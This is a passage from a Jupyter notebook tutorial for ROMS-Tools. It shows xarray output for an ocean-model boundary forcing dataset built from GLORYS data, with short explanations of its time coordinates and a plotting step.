class='xr-section-summary' >Attributes: <span>(9)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS boundary forcing file created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>start_time :</span></dt><dd>2012-01-02 00:00:00</dd><dt><span>end_time :</span></dt><dd>2012-01-04 00:00:00</dd><dt><span>source :</span></dt><dd>GLORYS</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>theta_s :</span></dt><dd>5.0</dd><dt><span>theta_b :</span></dt><dd>2.0</dd><dt><span>hc :</span></dt><dd>300.0</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 3MB\n", "Dimensions: (bry_time: 4, s_rho: 100, xi_rho: 102, xi_u: 101, eta_rho: 102,\n", " eta_v: 101)\n", "Coordinates:\n", " abs_time (bry_time) datetime64[ns] 32B 2012-01-01T12:00:00 ... 2012-01...\n", " * bry_time (bry_time) float64 32B 4.384e+03 4.384e+03 4.386e+03 4.386e+03\n", "Dimensions without coordinates: s_rho, xi_rho, xi_u, eta_rho, eta_v\n", "Data variables: (12/28)\n", " temp_south (bry_time, s_rho, xi_rho) float32 163kB dask.array<chunksize=(1, 100, 102), meta=np.ndarray>\n", " salt_south (bry_time, s_rho, xi_rho) float32 163kB dask.array<chunksize=(1, 100, 102), meta=np.ndarray>\n", " u_south (bry_time, s_rho, xi_u) float32 162kB dask.array<chunksize=(1, 100, 101), meta=np.ndarray>\n", " v_south (bry_time, s_rho, xi_rho) float32 163kB dask.array<chunksize=(1, 100, 102), meta=np.ndarray>\n", " zeta_south (bry_time, xi_rho) float32 2kB dask.array<chunksize=(1, 102), meta=np.ndarray>\n", " ubar_south (bry_time, xi_u) float32 2kB dask.array<chunksize=(1, 101), meta=np.ndarray>\n", " ... ...\n", " salt_west (bry_time, s_rho, eta_rho) float32 163kB dask.array<chunksize=(1, 100, 102), meta=np.ndarray>\n", " u_west (bry_time, s_rho, eta_rho) float32 163kB dask.array<chunksize=(1, 100, 102), meta=np.ndarray>\n", " v_west (bry_time, s_rho, eta_v) float32 162kB dask.array<chunksize=(1, 100, 101), meta=np.ndarray>\n", " zeta_west (bry_time, eta_rho) float32 2kB dask.array<chunksize=(1, 102), meta=np.ndarray>\n", " ubar_west (bry_time, eta_rho) float32 2kB dask.array<chunksize=(1, 102), meta=np.ndarray>\n", " vbar_west (bry_time, eta_v) float32 2kB dask.array<chunksize=(1, 101), meta=np.ndarray>\n", "Attributes:\n", " title: ROMS boundary forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-02 00:00:00\n", " end_time: 2012-01-04 00:00:00\n", " source: GLORYS\n", " model_reference_date: 2000-01-01 00:00:00\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0" ] }, "execution_count": 7, "metadata": {}, "output_type": "execute_result" } ], "source": [ "boundary_forcing.ds" ] }, { "cell_type": "markdown", "id": "4f5dbd8c-7a22-4a30-9ae8-19d10eea5f59", "metadata": {}, "source": [ "All physical boundary forcing fields necessary to run a ROMS simulation are now contained as `dask.arrays` within an `xarray.Dataset`. All data operations are performed lazily, meaning that the surface forcing fields have not been actually computed yet. Full computation will not be triggered until the `.save` method is called." ] }, { "cell_type": "code", "execution_count": 8, "id": "99edb62c-9456-4a61-a3d0-27b5c2d7ff2d", "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 0 32 32\">\n", "<path d=\"M16 0c-8.837 0-16 2.239-16 5v4c0 2.761 7.163 5 16 5s16-2.239 16-5v-4c0-2.761-7.163-5-16-5z\"></path>\n", "<path d=\"M16 17c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "<path d=\"M16 26c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "</symbol>\n", "<symbol id=\"icon-file-text2\" viewBox=\"0 0 32 32\">\n", "<path d=\"M28.681 7.159c-0.694-0.947-1.662-2.053-2.724-3.116s-2.169-2.030-3.116-2.724c-1.612-1.182-2.393-1.319-2.841-1.319h-15.5c-1.378 0-2.5 1.121-2.5 2.5v27c0 1.378 1.122 2.5 2.5 2.5h23c1.378 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".xr-var-list > li:nth-child(odd) > label,\n", ".xr-var-list > li:nth-child(odd) > .xr-var-name span {\n", " background-color: var(--xr-background-color-row-odd);\n", "}\n", "\n", ".xr-var-name {\n", " grid-column: 1;\n", "}\n", "\n", ".xr-var-dims {\n", " grid-column: 2;\n", "}\n", "\n", ".xr-var-dtype {\n", " grid-column: 3;\n", " text-align: right;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-var-preview {\n", " grid-column: 4;\n", "}\n", "\n", ".xr-index-preview {\n", " grid-column: 2 / 5;\n", " color: var(--xr-font-color2);\n", "}\n", "\n", ".xr-var-name,\n", ".xr-var-dims,\n", ".xr-var-dtype,\n", ".xr-preview,\n", ".xr-attrs dt {\n", " white-space: nowrap;\n", " overflow: hidden;\n", " text-overflow: ellipsis;\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-var-name:hover,\n", ".xr-var-dims:hover,\n", ".xr-var-dtype:hover,\n", ".xr-attrs dt:hover {\n", " overflow: visible;\n", " width: auto;\n", " z-index: 1;\n", "}\n", "\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " display: none;\n", " background-color: var(--xr-background-color) !important;\n", " padding-bottom: 5px !important;\n", "}\n", "\n", ".xr-var-attrs-in:checked ~ .xr-var-attrs,\n", ".xr-var-data-in:checked ~ .xr-var-data,\n", ".xr-index-data-in:checked ~ .xr-index-data {\n", " display: block;\n", "}\n", "\n", ".xr-var-data > table {\n", " float: right;\n", "}\n", "\n", ".xr-var-name span,\n", ".xr-var-data,\n", ".xr-index-name div,\n", ".xr-index-data,\n", ".xr-attrs {\n", " padding-left: 25px !important;\n", "}\n", "\n", ".xr-attrs,\n", ".xr-var-attrs,\n", ".xr-var-data,\n", ".xr-index-data {\n", " grid-column: 1 / -1;\n", "}\n", "\n", "dl.xr-attrs {\n", " padding: 0;\n", " margin: 0;\n", " display: grid;\n", " grid-template-columns: 125px auto;\n", "}\n", "\n", ".xr-attrs dt,\n", ".xr-attrs dd {\n", " padding: 0;\n", " margin: 0;\n", " float: left;\n", " padding-right: 10px;\n", " width: auto;\n", "}\n", "\n", ".xr-attrs dt {\n", " font-weight: normal;\n", " grid-column: 1;\n", "}\n", "\n", ".xr-attrs dt:hover span {\n", " display: inline-block;\n", " background: var(--xr-background-color);\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-attrs dd {\n", " grid-column: 2;\n", " white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.DataArray &#x27;bry_time&#x27; (bry_time: 4)&gt; Size: 32B\n", "array([4383.5, 4384.5, 4385.5, 4386.5])\n", "Coordinates:\n", " abs_time (bry_time) datetime64[ns] 32B 2012-01-01T12:00:00 ... 2012-01-0...\n", " * bry_time (bry_time) float64 32B 4.384e+03 4.384e+03 4.386e+03 4.386e+03\n", "Attributes:\n", " long_name: days since 2000-01-01 00:00:00\n", " units: days</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.DataArray</div><div class='xr-array-name'>'bry_time'</div><ul class='xr-dim-list'><li><span class='xr-has-index'>bry_time</span>: 4</li></ul></div><ul class='xr-sections'><li class='xr-section-item'><div class='xr-array-wrap'><input id='section-7be26d79-c113-4a86-ac35-e065fe6a8a91' class='xr-array-in' type='checkbox' checked><label for='section-7be26d79-c113-4a86-ac35-e065fe6a8a91' title='Show/hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-array-preview xr-preview'><span>4.384e+03 4.384e+03 4.386e+03 4.386e+03</span></div><div class='xr-array-data'><pre>array([4383.5, 4384.5, 4385.5, 4386.5])</pre></div></div></li><li class='xr-section-item'><input id='section-e97ec1f7-fa14-44cc-9bb6-577739541801' class='xr-section-summary-in' type='checkbox' checked><label for='section-e97ec1f7-fa14-44cc-9bb6-577739541801' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(bry_time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-01T12:00:00 ... 2012-01-...</div><input id='attrs-937b6b38-3b13-42d3-a56c-b3acb10f8221' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-937b6b38-3b13-42d3-a56c-b3acb10f8221' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-a6a00b90-70ca-429d-be95-ca0ac0ab32f2' class='xr-var-data-in' type='checkbox'><label for='data-a6a00b90-70ca-429d-be95-ca0ac0ab32f2' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-01T12:00:00.000000000&#x27;, &#x27;2012-01-02T12:00:00.000000000&#x27;,\n", " &#x27;2012-01-03T12:00:00.000000000&#x27;, &#x27;2012-01-04T12:00:00.000000000&#x27;],\n", " dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>bry_time</span></div><div class='xr-var-dims'>(bry_time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.384e+03 4.384e+03 ... 4.386e+03</div><input id='attrs-c73d5775-4adf-4e82-8aef-44493a7fc661' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c73d5775-4adf-4e82-8aef-44493a7fc661' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-286e3549-2a13-4c9c-84cb-f1c6f363ce73' class='xr-var-data-in' type='checkbox'><label for='data-286e3549-2a13-4c9c-84cb-f1c6f363ce73' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4383.5, 4384.5, 4385.5, 4386.5])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-f46f08a5-b2bf-49a4-aceb-bf8fc8db46bf' class='xr-section-summary-in' type='checkbox' ><label for='section-f46f08a5-b2bf-49a4-aceb-bf8fc8db46bf' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>bry_time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-b054c3bb-6b50-4baa-8611-abcae5739625' class='xr-index-data-in' type='checkbox'/><label for='index-b054c3bb-6b50-4baa-8611-abcae5739625' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([4383.5, 4384.5, 4385.5, 4386.5], dtype=&#x27;float64&#x27;, name=&#x27;bry_time&#x27;))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-ad95a65c-0f9d-44b1-a91a-c5bcc5a62fa5' class='xr-section-summary-in' type='checkbox' checked><label for='section-ad95a65c-0f9d-44b1-a91a-c5bcc5a62fa5' class='xr-section-summary' >Attributes: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.DataArray 'bry_time' (bry_time: 4)> Size: 32B\n", "array([4383.5, 4384.5, 4385.5, 4386.5])\n", "Coordinates:\n", " abs_time (bry_time) datetime64[ns] 32B 2012-01-01T12:00:00 ... 2012-01-0...\n", " * bry_time (bry_time) float64 32B 4.384e+03 4.384e+03 4.386e+03 4.386e+03\n", "Attributes:\n", " long_name: days since 2000-01-01 00:00:00\n", " units: days" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" } ], "source": [ "boundary_forcing.ds.bry_time" ] }, { "cell_type": "markdown", "id": "a95f704a-ca10-4b5d-ab6c-26bd188af33a", "metadata": {}, "source": [ "The `bry_time` variable shows relative time, i.e., days since the model reference date (here set to January 1, 2000 by default). The `abs_time` coordinate shows the absolute time. The GLORYS data provided to `ROMS-Tools` has daily frequency; this temporal frequency is inherited by `boundary_forcing`. \n", "\n", "`boundary_forcing` has 4 time entries because `ROMS-Tools` makes sure to include one time entry at or before the `start_time`, and one time entry at or after the `end_time`. This is essential for proper functioning within ROMS. If the provided data does not meet this requirement, `ROMS-Tools` will issue a warning." ] }, { "cell_type": "markdown", "id": "7bd82ad6-74fb-49ec-9099-4e7b127bbf52", "metadata": {}, "source": [ "Let's make some plots! As an example, let's have a look at the zonal velocity field `u` at the southern and western boundaries." ] }, { "cell_type": "code", "execution_count": 9, "id": "71f1dbdb-c462-4b6d-b49f-44b764808742", "metadata": {}, "outputs": [], "source": [ "from dask.diagnostics import ProgressBar" ] }, { "cell_type": "code", "execution_count": 10, "id": "39d066e0-c9c8-4e4f-8d3f-2cbc72ee5675", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[########################################] | 100% Completed | 2.75 sms\n", "CPU times: user 5min 21s, sys: 306 ms, total: 5min 21s\n", "Wall time: 2.89 s\n" ] }, { "data": { "image/png": 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l9ttv59lnn+Wnn35qdB9HH300HTp0YM6cOVHXY915zs7Opn///rzxxhsRfdatW8e3334bunZakjfffJPa2trQ8w8//JDCwsLQ9RrLPd9UWuN+rRNNB/NeV1FR+XegWg5UVBSora0lJyeH8847j379+hEXF8f333/Pn3/+GcqRrtPpmDFjBpMnT2bEiBFceOGFFBcXM3fuXPLy8rjllltC27vssst46qmnGDduHJdffjklJSW88MIL9OrVi5qamlA/k8lEz549ee+99+jatSspKSn07t27Ud/showYMYKrr76a6dOns2rVKsaOHYtOp2Pr1q188MEHzJ07l/POO6/lTlYj7Ny5kzPOOIOTTjqJ5cuX8/bbb3PRRRfRr18/APr168ekSZN46aWXqKqqYsSIEfzxxx+88cYbnHXWWYwaNSq0rSuuuIJrrrmGc889lzFjxrB69WoWL14c08p9OHU556dPn85pp53GKaecwj///MM333wTtc3TTjuNhx56iMmTJzNkyBDWrl3LggULIiwOTWXixIk8/fTT/Pjjj8yYMaNJ7+nVqxfHHXccd999NxUVFaSkpPDuu+/i9Xpj3v/+GDt2LO3bt+fyyy/n9ttvR6PR8Nprr5Gens7u3btD/ZxOJ5MmTaJLly48+uijQKA+xxdffMHkyZNZu3at4sq+KIrMmzeP008/nf79+zN58mSys7PZtGkT69evZ/HixQDMnDmTk08+mcGDB3P55ZfjcDh45plnSExMlK150VxSUlI4/vjjmTx5MsXFxcyZM4fOnTtz5ZVXArHd802lNe7X/v37o9FomDFjBtXV1RgMBk444QQyMjJiHp+Kisp/jEOVJklF5XDH5XJJt99+u9SvXz8pPj5eslgsUr9+/aTnn38+qu97770nHXXUUZLBYJBSUlKkiy++WNqzZ09Uv7ffflvq2LGjpNfrpf79+0uLFy+OSmUqSZK0bNkyacCAAZJer49I36mUilIp9eRLL70kDRgwQDKZTFJ8fLzUp08f6Y477pD27dsX6pObmyudeuqpUe+tS+34wQcfRLTv3LlTAqTXX39d7rRFjWnDhg3SeeedJ8XHx0vJycnSlClTIlJASpIkeTwe6cEHH5Q6dOgg6XQ6qV27dtLdd98tOZ3OiH4+n0+68847pbS0NMlsNkvjxo2Ttm3bppjK9M8//5Q9pvD0jj6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